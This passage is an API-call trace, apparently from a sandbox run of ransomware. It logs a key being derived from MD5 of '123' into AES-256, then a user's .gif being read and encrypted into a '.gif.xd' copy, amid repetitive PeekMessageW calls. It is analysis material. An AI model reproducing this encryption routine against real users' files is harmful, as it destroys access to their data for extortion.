lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.896] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.896] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.896] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.896] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.896] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.896] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.897] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0060.897] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.897] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.897] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.897] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.897] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.897] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.897] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.897] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.897] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.898] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.898] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.898] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.898] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.898] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.898] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.898] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.898] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.898] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.898] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0060.899] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0060.899] CryptCreateHash (in: hProv=0x17aa2b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0060.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.899] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0060.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.900] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.900] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.900] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0060.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621858, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0060.900] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0060.900] CryptHashData (hHash=0x164c830, pbData=0x1629520, dwDataLen=0x3, dwFlags=0x1) returned 1 [0060.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.901] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.901] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.901] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.901] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.901] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0060.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218e8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0060.902] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0060.902] CryptDeriveKey (in: hProv=0x17aa2b8, Algid=0x6610, hBaseData=0x164c830, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c870) returned 1 [0060.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.902] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.902] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0060.902] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0060.903] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0060.903] CryptDestroyHash (hHash=0x164c830) returned 1 [0060.903] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.903] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.903] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.903] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.903] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.903] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\lxsh-uwbsxhnt.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0060.903] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.903] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0060.903] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.904] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.904] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.904] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq")) returned 0x10 [0060.904] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\LXSh-uwbSXhnt.gif.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\lxsh-uwbsxhnt.gif.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0060.904] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.904] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.904] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.904] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.907] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0060.907] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x1783, lpOverlapped=0x0) returned 1 [0060.907] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0060.910] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.910] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.910] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.910] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0060.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.910] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0060.910] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.910] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0060.910] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.910] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.911] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.911] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0060.911] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0060.911] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0060.911] CryptGetKeyParam (in: hKey=0x164c870, dwParam=0x7, pbData=0x16294c0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294c0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0060.911] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.911] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.911] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.911] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.912] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.912] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.912] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.912] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.912] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.912] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.912] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.912] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.912] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.913] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.913] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.913] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.913] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.913] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.913] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.913] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.913] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.913] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.913] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.913] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.914] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621708, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.915] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.916] CryptEncrypt (in: hKey=0x164c870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1783, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x1790) returned 1 [0060.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.916] CharLowerBuffW (in: lpsz="byte[6033]", cchLength=0xa | out: lpsz="byte[6033]") returned 0xa [0060.916] PeekMessageW (in: 